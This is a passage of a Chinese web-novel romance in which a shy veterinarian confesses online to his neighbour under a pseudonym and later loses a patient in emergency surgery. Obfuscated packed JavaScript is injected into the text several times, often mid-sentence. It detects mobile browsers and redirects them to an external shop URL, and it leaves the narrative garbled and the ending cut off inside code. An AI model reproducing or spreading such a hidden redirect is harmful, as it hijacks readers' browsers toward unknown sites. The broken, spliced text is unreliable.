费远洲一口气买了蓝雪花、茉莉、绣球、白刺玫,还有迷迭香——这个据说可以驱蚊。 费远洲不怎么犹豫,除了最先陶诺推荐的多肉外,他目标很明确,似乎早就想好了。陶诺闭了嘴跟着他,只在心中不停地感叹“这个花也太美了”、“这个我养过,死掉了”。 陶诺帮忙拎了两个袋子,其他的一些花店家会直接送到车上去。 逛到一个卖果蔬苗的摊位前,费远洲停了下来。 老板打量着他们,热情地上前道:“草莓苗,阳台上也可以种的。” 费远洲蹲下看,那小苗的叶子上还带着水珠。 “你要种草莓吗?”陶诺问。 费远洲看了他一眼:“你种番茄,我种草莓。你请我吃番茄,我请你吃草莓。怎么样?” 好像……挺不错。 费远洲又添置了不少花盆,还有两大袋土。 后备箱装得满满载载。 回去的路上,陶诺靠着副驾驶座椅背发困。阳光从车窗照进来,落在费远洲握着方向盘的修长的指节上,真好看,陶诺朦朦胧胧地想。 车停进小区地下车库的时候,陶诺醒了。安全带不知道什么时候解开了,身上多了一件外套,是费远洲的,带着那股好闻的气息。 他把外套稍稍叠好放在座位上,下了车。 费远洲正在后备箱搬东西。 陶诺赶紧上去帮忙。 费远洲将轻飘飘的几株草莓苗塞他手里:“这个你负责,要小心拿。” 陶诺愣了一下,抱着草莓苗跟在费远洲身后,看他一手一袋泥土,轻轻松松进了电梯。 上下了几趟,终于把后备箱的植物全都搬到了露台,接下来还要种植、摆放。费远洲没让陶诺参与,让他先回家休息。 陶诺也的确插不上手,费远洲有自己的设计,虽然他很想在旁边,但又觉得自己有点多余。 回家瘫在沙发上,抱着洗得香喷喷的月饼,一觉睡到了天黑。 醒来洗了个澡,冰箱里找了包速冻水饺煮了,一边吃一边看手机消息。 林珊朋友圈发了周末派对的照片,陶诺点了赞。 医院的微信圈发了国庆的宠物博览会宣传,和光医院有展位,会有三天的免费义诊。 再往下翻也没什么了,陶诺刚退出来,林珊的信息立即就来了。 林珊:【你跟你的费先生周末过得怎么样啊?】 一言难尽,陶诺干脆直接把两人的合照发了过去。 林珊:【!!!】 林珊是个急性子,电话马上就到。 陶诺正要接,又有一条微信在手机顶端跳了出来。 胡馨芸:【诺诺,中秋节那天放假的吧?记得回家来吃饭】 陶诺大拇指颤了颤,给林珊的来电点了拒绝。 林珊:【???】 林珊:【怎么不接电话?】 陶诺盯着胡馨芸的那条信息,像是一块石头压到了心上,想挣脱抗拒,却又疲惫无力。 他截屏发给了林珊。 林珊:【今年这么早?】 林珊:【你爸的呢?】 陶诺:【还没来,估计也差不了两天】 林珊:【你准备怎么安排?】 陶诺:【老样子啊,中午去妈家,晚上到爸家】 林珊:【摸摸头.gif】 陶诺:【我没事,十多年都是这样过的,习惯了】 说着是习惯,但其实陶诺每次两边走的时候,都有一种撕裂的疲惫感,他两边都不想去,很想一个人待着。 可这对父母非要表达对他的关爱,他们只是想减轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497951|202594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的愧疚感,却根本不管陶诺愿不愿意接纳这份愧疚。 陶诺给胡馨芸回复了:【好】。 一碗水饺没吃完,陶诺把剩下的给了月饼。 月饼吃得有滋有味。 “还是你好,没心事,没烦恼。” 陶诺点开墨阁,远行客发了新帖子,是一株植物的嫩苗。 别人可能认不出是什么,但陶诺今天是陪费远洲一起去买的,还是他捧回来的——草莓苗。 下面附了一句诗:谁知盘中餐,粒粒皆辛苦。 倒也应景。 陶诺点赞回复:期待能结出大草莓。 不多会儿,远行客的私信过来了:【今天看见一只哈士奇跟它的影子吵架,足足吵了两分钟。】 陶诺失笑,侧头去看自家那只吃的心满意足正在舔爪的二狗子,心道竟然有跟月饼一样智商的傻狗。也正常,都是哈士奇,能有同样举动倒也不足为奇。 夜航船:【很可爱】 远行客:【确实可爱,不过我觉得它的主人更可爱】 陶诺的嘴角垂了下去,笑容渐渐从脸上消失。 这是什么意思?他之前说喜欢善良可爱的人,所以费远洲是真的遇到了那个人? 夜航船:【哦?他是什么样的人?】 远行客:【你对他感兴趣?】 夜航船:【没有,只是你提到,我想对于你来说应该不是一般的人】 远行客那边好一会儿没回复。 陶诺心跳忐忑,敲击着手机屏幕,一个大胆的念头在指尖下出现。 夜航船:【我对你更感兴趣】 远行客:【哪方面的兴趣?】 夜航船:【各方面,所有】 远行客:【我们没见过面】 夜航船:【但我觉得跟你一见如故】 远行客:【你是在跟我示好?】 夜航船:【比这个程度更深】 远行客:【?】 夜航船:【示爱】 陶诺发出这条信息之后,把手机翻过去扣在了桌上,他觉得自己简直疯了。 手机震了一下,远行客回了信息。 陶诺迟疑,不敢翻开手机。 远行客会说什么?会被自己吓到吗?然后拉黑删除? 没关系,反正隔着屏幕,他不知道夜航船是谁。就算拉黑,拉黑的也是夜航船,不是陶诺。 陶诺深深吸了一口气,翻过手机看。 远行客:【你平时也这么跟人聊天?】 夜航船:【不,只有你】 夜航船:【是不是觉得我太直接了】 远行客:【还好。你只是在表达喜欢我?】 夜航船:【是】 远行客:【你是男人?】 夜航船:【你不喜欢男人?】 远行客:【还好】 夜航船:【还好是什么意思?】 远行客:【我们不认识,互相也不了解】 夜航船:【那就从现在开始认识,现在开始了解】 隔了两秒钟。 远行客:【可以发张腿的照片看看吗?】 夜航船久久没有回复,费远洲去露台上再次检查了一番自己的布置,忽然发现忘记了买喷水壶。之前淋水只顾淋透了土,叶片没有淋到。 费远洲回到电脑前,给还没回信息的夜航船留了个言:【我去邻居家借个水壶,慢慢拍,不着急】 敲响陶诺家门,里面传来急促又杂乱的脚步声。 “来了——” 陶诺开门,脸颊红扑扑的。 他还是一身卡通图案的家居睡衣,将手里的喷水壶递给了费远洲:“给。” 费远洲接过,皱了皱眉:“你怎么知道我要水壶?” 一刹那,陶诺脸变得通红,不自在的抖了抖裤腿,吞吞吐吐地道:“我、我猜,我猜你应该需、需要水壶。” 他声音逐渐小了下去:“今天我们不是、不是没、没买嘛。” 费远洲目光下落,见他一条裤腿挽起,露着笔直光洁的小腿。 11. 急诊 费远洲提着水壶把花浇了,夜航船依然没有回复。 陶诺光裸的小腿在眼前晃了一晃。 费远洲放下喷水壶,给陶诺发微信说水壶明天再还他。 片刻,陶诺回了个“ok”的可爱表情包。 费远洲盯着这个猫猫头表情包看了好一会儿。 他想起第一次无意间看见陶诺躲在医院天桥下,哭过之后扯着嘴角努力让自己笑,那会儿他还不认识他,当时后视镜匆匆一眼,只觉得他这举动实在可爱。 后来看房的时候再次遇到陶诺喂流浪猫,和小动物自说自话。中介说他就住对门,也养了只狗。 这大概就是所谓的缘分。 费远洲对陶诺的初印象不错,觉得他善良、可爱,略微笨拙,但又笨拙到近乎单纯。 费远洲很愿意和这样的人做邻居。 再接触,发现陶诺害怕跟陌生人交流,误闯自己家后,道歉也只是在门上挂份小礼物。他也不喜欢去人多的地方,那样会让他感到紧张。 可一旦陶诺进入医生职业的工作状态时,又会完全褪去平日呆萌的小模样。专注认真,给出的诊断和建议也果断专业。 而线上这个叫夜航船的网友,说话习惯非常直白,甚至相当主动,完全没有跟陌生人聊天的局促感,跟陶诺实在太不像了。 这几次巧合,或许真的仅仅就是巧合而已。 大概是自己养成的职业习惯,总是喜欢把每一件事情的逻辑都整理得很清晰。可一个跟狗狗讨价还价的人,又有什么行为逻辑呢。 小邻居很可爱,费远洲也很喜欢。 费远洲点开墨阁私信,他打字:不方便就算了。 还未发送,新信息跳了出来。 一双雪白纤细的腿交叠在照片上,看角度,是倒躺着从大腿根往上拍的,由远及近拿捏得很好,没出现的部位惹人浮想。 费远洲失笑,想起刚刚陶诺挽起的半截裤腿,多看自己两眼就会红了耳尖的人,可不敢发这样大胆的照片。 费远洲删掉聊天框里没发送的字,重新输入。 远行客:【很漂亮】 也很诱人。 隔壁,因为费远洲的这三个字,陶诺又羞又喜。 他换了短裤,双手捂着发烫的脸颊,两条腿赤条条的支棱在沙发上。凝视半晌,自己伸手摸了摸,滑溜溜的,白嫩无暇。 陶诺生平第一次做这么大胆的事,不过想到对方是费远洲,那也没关系,他愿意的。 第二天早上遛狗,陶诺比平时起得还早,也提前了出门上班的时间。小盼到医院的时候看到陶诺已经在准备今天手术的器具,还以为预约的客户提前了,打电话又给人确认了一遍。 到了下班时间,陶诺迟迟没动身。 “陶医生,还不走吗?”医院的另一名陈医生敲开了他诊室办公室的门。 “马上,看完这个讲座就走。”陶诺电脑上开着一个宠物皮肤病的线上专科课程。 “陶医生,你这是要往专科上深耕啊?”陈医生调侃。 “没有,只是这一方面我了解得不够多,多学学总是好的。”陶诺说。 “行,学无止境。”陈医生点头。 陶诺友好地朝对方笑笑,反扣的手机上是费远洲之前发来的微信。 Ansel:【没在家?还你水壶】 陶诺:【今天加班,要很晚】 陶诺:【不着急,暂时放你那里】 拖拖拉拉回到家,月饼已经把家抄了一遍,陶诺习以为常,淡定地收拾妥当。带狗出门前从猫眼朝外面望了好一会儿,才悄么声地捏着狗嘴做贼似的开了门。 晚上,费远洲在露台看见隔壁客厅亮着灯。这会儿上门正好,但又想着陶诺加班累了一天,算了,也不着急这一时。 处理完工作上的邮件,费远洲点开墨阁,今天一整天夜航船似乎都没上线。他浏览了一下论坛上其他人的帖子,给几篇感兴趣的点了赞。 工作电话进来了,临时又有一个跨国线上会议,是关于新项目的讨论。 又是好一番口干舌燥的沟通,等费远洲终于结束了远程视频会议,捏着眉心给自己冲了一杯蜂蜜水。 常驻国内的弊端就在此,总公司只会以当地的时间为准,不会管他这边是半夜还是凌晨。 走廊忽然一阵响动,费远洲从猫眼看见是陶诺开门出来了。 这么晚?小邻居又要干嘛呢? 费远洲打开门正想打招呼,陶诺却接着电话已经走进了电梯。 看样子挺匆忙,费远洲看了一下时间:凌晨两点半。 这个时间的小区路灯关了一半,陶诺踩着月色飞奔。 “我打车过来。”陶诺对着电话筒喘气,声音却很稳,“你们先准备,手术室提前消毒,给狗狗查血气,超声台准备好。有档案吗?好,调出来发我手机上,我在车上看。” 挂断前最后一句话:“安抚好主人的情绪,我十分钟内肯定到。” 几分钟前,陶诺被手机吵醒,是动物医院来的电话。说是接了个急诊,一只柯基被车撞了,情况看起来非常不好。 很不凑巧的是原本值班的陈医生家里女儿突发高烧,临时换了班。换班的何医生还在路上没到,他那边过来医院比较远,离得近的就只有陶诺,于是便让值班护士给陶诺打电话,让他先去医院。 陶诺从床上弹跳起来,冷水浇了一把脸,随便抓了件外衣套上就出门了。 到达医院的时候,那只柯基已经躺在了超声台上,嘴角有血,肚子起伏很快,眼睛半睁,瞳孔在扩大。 陶诺定了定神,换衣服消毒,听值班护士念着血气各项数据,一边用手快速地在柯基身上触诊了一番。 经验和触感告诉他,大概率是脾脏破裂,或许还有肝脏损伤。 血积压在腹腔,肚子鼓胀。 超声扫查结果,跟他判断的一样。 来不及了。 陶诺出来和主人交涉。 “医生,我家狗狗怎么样?”主人是个三十多岁的男人,眼眶一圈红着。 “情况不好,你要有心理准备。”这种时候,陶诺的社恐属性好像没了。 “你不是都还没手术吗?”主人眼巴巴地望着陶诺。 陶诺有点不忍,开腹只是最后一步的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497952|202594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搏命尝试。 主人签了手术协议书。 开腹之后的情况比预判的更糟糕,陶诺在手术台上试图尽力抓住那根脆弱的生命线,然而最终,一切归于静止。 手术室变得很安静,陶诺站在原地,看着双手手套上沾满的血迹。 那只柯基仍旧是躺着,和他刚看到的时候一样,只是这一次,瞳孔已经完全散了。它看起来好小,比先前更小,像是什么被抽走了,只剩下一副躯壳。 走廊外有压抑的抽泣声,是那个男人,护士已经告诉了他情况,他并没有哭出声来,鼻吸的声音听着让人更难过。 陶诺想安慰他,却不知道该说什么。 陶诺回诊室关上门,背靠着门板,仰头望向天花板上刺眼的白光。 他忽然很想月饼,不知道傻狗这会儿是不是睡得正香。 - 拖着疲惫的身体出了医院,陶诺打车回了家。 上楼,开门关门。 陶诺把自己摔进被子里。 他实在太累,身心俱疲,衣服都没力气脱。 月饼今晚很乖,没过来闹他。 陶诺一口气睡到早上九点才醒,月饼竟然没来扒拉要出门。 “饼饼——”陶诺翻了个身。 家里很安静。 “饼饼?”陶诺睁眼,转了转眼珠,“月饼——” 除了他长长的尾音,还是没有回应。 有点不对劲,但陶诺脑袋发沉,没反应过来这点不对劲出自哪里。 他起身下床,穿上拖鞋去厨房倒水,路过月饼的窝时,余光扫了一眼,随即一顿,退回来再次看了一眼,窝里是空的。 “月饼?” 陶诺在家里各个房间找了一圈,没有看见月饼。他拉开阳台推拉门,在露台上又找了一圈,仍旧没有狗子的身影。 傻狗躲哪儿去了? 陶诺拿出月饼最爱的零食,一边抖动袋子一边叫月饼的名字。往常在家找不到月饼的时候,这一招最是管用,百分之两百的召唤率。 然而这一次却不管用了。 陶诺手里的袋子抖动得越来越快,喊月饼的声音微微发抖。 镇定,他咬了咬牙,仔细在家里每一处角落里查看,打开每一个柜子检查,仍旧没有月饼。 胃里泛起阵阵恶心,陶诺捂着肚子,额头渗出冷汗。 如果家里没有,那就是跑出去了。 陶诺手忙脚乱地打开门,朝着空空荡荡的走廊叫着月饼的名字,控制不住声音完全走调。 安全通道的门关着,月饼的力气是顶不开的,除非有人帮忙,但这可能性不高。 要不然就是坐电梯下去了,这更不可能,这一层只有他和费远洲两家住户。 陶诺重复按着电梯的开关,手在抖,掌心全是汗。 “陶诺,回来了?”费远洲打开门,看见陶诺脸色惨白,“你怎么了?发生什么事了?” “费先生,月饼不见了。”陶诺头发乱糟糟,眼下一片青黑,眼眶发红。 他忽地上前,拉住了费远洲衣袖:“我去找物管调监控,你能、能陪我一起吗?” 12. 试探 月饼是只长相标准的哈士奇。 灰白毛色蓝眼睛,额头上是火焰纹,不咧嘴的时候厚厚的三角耳直立着,专注起来的模样也是狗中的帅哥一枚。 当初陶诺把它捡回去,洗净吹干治腿伤,也纳闷这么漂亮的狗狗怎么会沦落到在外面流浪。 但人的世界太复杂,深究不了。 平日里月饼调皮捣乱搞破坏,陶诺都纵容着由他去,没什么大不了的,东西坏了就修补,屋子乱了就收拾。 陶诺从来都是一个人住,跟月饼相依为命了整整一年,一人一狗彼此陪伴,成为同居最长的室友。 眼下室友突然不见了,陶诺除了心慌,还有害怕。害怕从此以后,他又变成只有自己一个人了。那些无数个空洞的日日夜夜,该如何熬过去。 他有些过界地揪紧了费远洲的袖子,像揪住了一根救命稻草,祈求在自己溺下去之前,有人能拉他一把。 费远洲出言安慰:“别着急……” 话没说完,被陶诺匆匆打断:“怪我平时没教好它……它从来不认人,给点好吃的就会跟人走……肯定是被人带走了,长那么胖,会不会被卖到狗肉店……” 一提到狗肉店,陶诺险些没忍住,鼻子一酸眼泪就差点下来了,强迫自己闭嘴咬紧了牙。 费远洲终于说上了话,直切重点:“月饼在我家。” “啊?”陶诺呆呆地反应不过来,“什么?” “月饼在我家,跟凯撒在一起的。”费远洲轻轻地托着他,“我给你发了微信,你没看到吗?” 陶诺迟钝地摇头,想去摸手机,才发觉自己根本就没穿长裤,衣服也没换,手机还落在家。 也顾不上长裤还是短裤了,陶诺盯着费远洲,想得到进一步确认:“真、真的?”脑子里第一反应是月饼从露台跳到了隔壁。 两家的露台隔着有一段距离,但确实是能跳过去的,这很冒险,怎么可能?他自己不敢,月饼更不敢。 费远洲没跟他多说,直接带他进了家门。 陶诺进门东张西望,并没有看见月饼的影子。 费远洲换鞋:“露台上。” 陶诺踢掉鞋,光脚就跑去了露台。 果然,两只狗头碰头地低垂着脑袋,不知道在看地上的什么东西。 听见脚步声,一起抬头看向陶诺。 凯撒坐着没动,冲陶诺摇了摇尾巴。 月饼跳了起来,奔过来蹭陶诺的腿,汪汪叫着又跑回凯撒身边,像在喊陶诺过去看。 陶诺只觉腿软,一下就蹲坐在地,搂过月饼脖子双手将它紧紧环住。 费远洲站在旁边没有说话,看陶诺将脸埋在月饼的皮毛里,肩膀抖动。 他转身进了屋子,给陶诺足够的释放空间。 才跨进门,就听见身后溢出来的哭声,陶诺闷声埋怨:“死狗,坏狗,你吓死我了!” 费远洲垂了垂眼,勾着唇角去倒了杯热水放到吧台上。 陶诺把月饼勒得有些不舒服,狗子不安分的扭了几下,但也没要挣脱。尾巴摇摆的频率降了下来,大约也是感应到了主人的情绪,用鼻子去拱陶诺。 哭够了,陶诺才终于放开了月饼。 “都怪你,我又丢人了。”陶诺擦着自己哭得一塌糊涂的脸,“你怎么跑到别人家里来的?不知道我在找你吗?” “凌晨的时候你是不是出门了?”费远洲弯腰递过来一包抽纸。 陶诺“嗯”了一声接过:“谢谢。” “进去说吧,地上凉。” 费远洲找了张毯子给陶诺盖在腿上,陶诺缓过了劲儿,此时只觉尴尬。并着腿,乖巧地缩在沙发角落。 费远洲把吧台上的水端到茶几上:“加了蜂蜜,喝一点。” 陶诺听话的把整杯喝完,然后听着费远洲讲述为什么月饼会在这里。 原来凌晨时候陶诺急匆匆出门,又在接电话,根本没察觉到月饼跟在他身后溜了出来。他想也没想反手锁门,随后进了电梯。 费远洲就这样见证了月饼被陶诺关在门外的整个过程。 他把月饼带回自己家,给陶诺发了微信,但陶诺一直在忙,又因为那只没救回来的柯基情绪低落,直到刚刚才发现月饼压根没在家。 “我接了个急诊……”温热的蜂蜜水让他胃舒服了不少,回想起手术室的过程又陷入了沮丧,“可我没救回那只狗狗。” 他塌着双肩,垂头盯着自己的手指,眼前浮现出染满的血迹。 “我……我很没用,还差点弄丢了月饼。” 一只大手轻轻落在陶诺后背,掌心的温度透过衣服传递到他的脊梁,给他安抚和支撑。 “你已经尽力了。”费远洲道。 就这么一句话,陶诺蓦地鼻子又开始发酸,眼泪啪嗒砸落在手背。 “我知道,我只是想要尽力想留住它们。”陶诺吸了吸鼻子,“以前也有过一次,是只三花异瞳猫,非常漂亮。” 陶诺停顿了好一会儿才继续。 “它的主人把它养得很好,可是猫猫应激,到了医院触发了其他的病变,当场就不行了……主人说陪了她八年……” “八年,那就是从一个小婴儿长到都念小学了……然后你却要眼睁睁送走它……” 陶诺说到最后哽住了。 又隔了好一会儿,他才恢复了正常声音:“我没敢见猫主人,她在医院哭得撕心裂肺,我也跟着想哭,但是做医生不能这样,我知道的,可我控制不了。我就躲出去,躲到天桥底下去,没人知道……” 费远洲心说我知道,我还看见了,但他什么也没说,只是轻轻拍他后背。 陶诺抬起头,一双眼睛湿漉漉地注视着费远洲:“现在医学这么发达,宠物医疗什么时候也能跟上……猫咪应激,就不能有便携的检测仪上门检测吗?照牙片就得全麻,没有不麻醉就能拍片子的仪器吗?” 费远洲就是做医疗器械研发的,虽然只是针对人类,但陶诺这一问,倒是有了点质疑的意思。 陶诺也回过神来,意识到自己说过头了,收声闭嘴垂头盯着腿上的毯子。 “会的,科技越来越进步,会有那一天的。”费远洲道。 月饼和凯撒一前一后进了客厅,陶诺只顾自己的情绪,想起还没给人好好道谢。 费远洲却先他一步,说:“以后再遇上急事,让月饼来我这里,那样你也能心安理得去处理工作。” 陶诺点点头,心口发热。 “一起吃早餐?”费远洲邀请。 “会不会……”太打扰。 “不会,”费远洲端出牛奶、鸡蛋、吐司和蔬菜沙拉,“我有事请你帮忙。” “费先生你说。”陶诺忽地站起身,毯子滑落下去,露出两条光着的纤腿。 两人的视线都往腿上看。 费远洲目光一凝,落在陶诺膝盖上。 陶诺则徒劳地拉了拉衣服,窘迫地道:“我、我先回家换衣服。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497953|202594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 费远洲点点头。 陶诺带着月饼回去了,费远洲拿过手机,点开了墨阁私信里夜航船发的腿照。 之前粗粗一眼,只觉得漂亮撩人,并未细看。刚刚瞥见陶诺膝盖上极淡的一点红痕,费远洲忽觉眼熟。 两指对准照片上膝盖的地方,放大又放大…… 果然,在膝盖同样的地方也有淡淡的一点红色。 之所以并未在意,是因为那个红点实在太淡了,淡到让人可以完全忽视,甚至认为是手机摄像头上沾了一点雾气。 夜航船和陶诺看起来是完全不一样的两个人,如果前面的事情全部算巧合,那么一次又一次的巧合,加上这一次,再要说巧合,恐怕费远洲也很难说服自己了。 不过此时下结论还不够严谨,全是推测,膝盖上相似的红点,也可以说只是相似。按照费远洲的做事风格,他需要进一步验证。 陶诺换好衣服过来跟费远洲一起吃早餐。 “费先生,你刚刚说要我帮什么忙?” “我要出差几天,想拜托照看一下凯撒。” “没问题,凯撒很乖。” “狗粮我已经设置好了定时器,”费远洲手写了一张清单给陶诺,“这是其他的食物,临时就两天,我会先备好放在冰箱冻起来,你拿出来解冻以后微波炉热三分钟就好。” 陶诺看着清单上每一条注意事项:“费先生,你把凯撒养得真好,还有水果进食时间。” “我忙起来也有顾不上的时候,这种时候凯撒也只能吃狗粮了。” “放心,有我在,我会照顾好凯撒。”陶诺拍拍胸脯。 “谢谢,我会在中秋节前赶回来。” “没关系,不用急,中秋节我也在家。” 费远洲顿了一秒:“中秋节不是家家要团聚吗?你不回家?” 陶诺放下刀叉,喝完了牛奶,舔着唇上的白沫状似不在意地说:“回家吃个饭,吃完就回来了。”他生硬地把话题转到费远洲身上,“费先生不回家吗?” “我母亲不在,父亲在国外不过中秋。” “抱歉,我忘了,你说过,你母亲……” “不要紧。”费远洲看着他后脑勺上又翘起来的一撮头发,“陶诺,你对诗词很感兴趣吗?” “嗯,喜欢,老祖宗留下来的宝藏嘛。” 费远洲又问:“那你会跟人讨论这方面的东西吗,比如说加入一个什么群体?” 费远洲说的并不直接,陶诺也完全没往墨阁上面想。 “念书的时候加入过文学社算不算?” 费远洲想了想,换了个思路:“陶诺,我打算请朋友吃饭,你有什么中餐厅推荐吗?” “朋友?”陶诺记得费远洲说过回国不久,在这边没什么朋友,“哪种朋友……我的意思是,最好根据你朋友的喜好推荐。” “具体来讲是一个网友,他说他喜欢我。” “咳咳——咳——”陶诺差点被吐司给噎住。 费远洲又倒了杯水给他:“慢点。” 等陶诺顺好了气,费远洲这才又说:“我并不知道他的喜好,我们还没聊到这方面。” “那就吃火锅吧。”陶诺擦嘴。 “为什么?” 当然是因为你要请的那个网友就是我,但我绝对不能跟你见面,所以吃什么都不重要。 “因为……热闹。” 费远洲若有所思地点了点头,似乎接受了这个建议。 13. 陪伴 凯撒很好照顾,根本不需要多费心神。甚至遛狗的时候,凯撒还能帮着陶诺带月饼。 月饼喜欢跟着凯撒,陶诺只要喊一句“凯撒,回去了”,凯撒便会会意地朝着月饼浑厚地“汪”上两声,不管月饼跑出去多远,都会乖乖颠着弹性的小步伐回到凯撒身边。丢出去的球,凯撒也会挨个捡回陶诺手里。 出门两次,陶诺觉得凯撒简直神了。 这养的是狗吗,这完全就是个助手啊。 费远洲给了陶诺大门的密码,当天晚上陶诺就把凯撒的狗窝给挪到了自己家。 “凯撒,我回来了。”陶诺下班到家,凯撒过来帮他提包。 “凯撒,我有点冷。”陶诺窝在沙发上煲剧,手在胳膊上摸了摸,凯撒就去卧室叼来了薄毯。 “凯撒,你带月饼去露台。”陶诺在厨房做骨头饼干,月饼前爪要搭上岛台,“净捣乱,等会儿弄好叫你们。” 凯撒脑袋顶了一下月饼,“汪呜”一声,撵着月饼出了厨房。 陶诺叉着腰歪着头,看着月饼虽不情愿,但还是在凯撒的威压下一步步被驱逐去了露台。 “啧啧啧,凯撒到底是什么品种?”陶诺摇头,“是披着狗皮的人?还是偷学了人话的狗?” “饼饼,你要失宠了。我宣布,我喜欢上凯撒了。”陶诺冲露台上玩耍的两只狗喊。 “嗷呜——”月饼不满地啸叫。 陶诺每天都会给费远洲发信息,汇报凯撒的情况。 费远洲并不会立即回复,应该是在忙,基本都是集中在早上一一回复给陶诺。内容也是围绕凯撒,再顺带上月饼。 费远洲走了两天,陶诺心神不安了两天。 具体来讲,是披着夜航船id的陶诺。 陶诺这边跟费远洲每天都有微信联系,而墨阁后台远行客的私信却毫无动静。 两人的对话框还停留在远行客称赞他腿漂亮,夜航船毫不自谦:【我也这么觉得】 陶诺再次点开私信,滑来滑去,滑不出新信息。 不是说要请吃饭吗,怎么还不提。 陶诺耐不住了,决定问问。 夜航船:【最近在忙什么】 远行客:【工作】 在线秒回呀。 陶诺此刻对工作的话题不感兴趣,在对话框里打了删删了打,折腾了好半天,最后终于发出去了一条:【你最近有没有特别想吃什么?】 远行客:【怎么突然问这个?】 夜航船:【没什么,就是互相了解嘛】 远行客很快回复:【我喜欢火锅】 来了来了,正题终于来了,陶诺心跳快了起来。 夜航船:【我也喜欢】 远行客:【有机会一起吃火锅】 有机会!这是在邀请么? 陶诺还没来得及激动,一盆凉水浇了下来。 远行客发过来一张照片,长方形的桌面上,放着两个小锅,陶诺一眼看出是那种一人一锅的小火锅。 远行客:【正和朋友在吃】 朋友?哪种朋友?不是说是喜欢他的网友吗? 等等,陶诺猛地一惊,费远洲是说了网友,自己先入为主自动带入,可他并没指名道姓这个网友一定就是“夜航船”啊。 陶诺翻看远行客的主页,粉丝和关注都不少,所以说,这里面除了自己,还有其他网友也喜欢远行客。 陶诺有些挫败,手指无意识在屏幕上指指点点,远行客的信息又来了。 【带了小礼物,回来给你】 陶诺沉下去的心又雀跃了起来,甚至于都没觉察到话里的陷阱,回复在对话框里的【好啊】都冒着小心心。 窗外的月亮又大又圆,陶诺一时心弦拨动,很想表达。 夜航船:【“晓看天色暮看云”的下一句你知道是什么吗?】 隔了好一会儿,远行客才回复:【是什么?】 夜航船:【你不知道?】 远行客:【我不知道】 陶诺的大拇指在手机上方悬停,这句诗的下一句很直白,他发信息问的时候纯粹是随心而动。 夜航船:【你知道】 费远洲当然知道,不过他是陶诺发了以后问的对面吃饭的同事。 “杨,这句诗是谁写的,我没听过。”费远洲一字一顿的念,“晓看天色暮看云,下一句是什么?” “‘晓看天色暮看云,行也思君,坐也思君。’是明代唐寅唐伯虎的诗,他是个书画家,很有名。”杨薪吃了一口肥牛,看着费远洲翘起来的嘴角,挑了挑眉极其夸张地喊道,“Ansel,你恋爱了!” “还没有。” “还、没、有……”杨薪重复他的话,表情浮夸,“认识你这么久,我从来没见你这样笑过。你知道这首诗是什么意思吗?” “字面意思我能看懂。” 杨薪拍着大腿:“这是一首思念远方情人的诗,谁在思念你?” “杨,你话太多了。”费远洲斜斜一眼。 杨薪收敛了些,仍忍不住八卦:“那是不是不久以后,你会谈一场恋爱?” 费远洲没有否认。 “我以为你只会对那些冰冷的机器感兴趣。”杨薪注意力转回了火锅上,喊服务员,“再加一盘肥牛。”觑了一眼费远洲,“加三盘!” 费远洲回复陶诺。 远行客:【你在想我】 夜航船:【是的】 远行客:【你没见过我】 夜航船:【那你发一张照片给我】 夜航船:【我也给你发过】 他指那张腿的照片。 费远洲大大方方,让杨薪帮他拍了照片发过去。 线上的陶诺披着夜航船的皮,直言不讳:【你好帅】 远行客:【你不惊讶?】 夜航船:【惊讶什么?】 远行客:【我不是东方人长相】 陶诺当然不惊讶,他早知道了,只是作为第一次见到远行客真面目的夜航船来说,反应过于平静了。 一个外国网友,混迹在中国诗词论坛,多少都会有点反应。 夜航船:【我猜测过】 远行客:【?】 夜航船:【因为你那首静夜思】 思念故土,可以联想到是异乡人,也可以联想到异国人。 勉强过关。 费远洲并没有想要逼他,只是笑得别有深意,蛛丝马迹真是越捋越多。 陶诺存下了费远洲的照片。 - 第二天是中秋节,陶诺中午去了母亲家。 “诺诺来了。”胡馨芸给儿子找了客用拖鞋。 “我用鞋套。”陶诺说。 “自家人用什么鞋套。”胡馨芸嘴上这样说,却从始至终都没有给陶诺准备过一双独属他的拖鞋。 父母离婚后,都各自组建了新的家庭,也有了新的子女。这是他原生父母各自的新家,哪里又有陶诺的位置呢。 陶诺倒是早已习惯,随便编了个理由:“我从公交站走过来的,脚出汗,怕有味儿。” “孩子想穿什么就穿什么,他自在就好。”胡馨芸现任老公,继父常兴涛看见母子俩堵在玄关,凑过来插了一句话。 “行行行,那就鞋套。”胡馨芸翻出鞋套给陶诺,“还是你爸替你着想。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 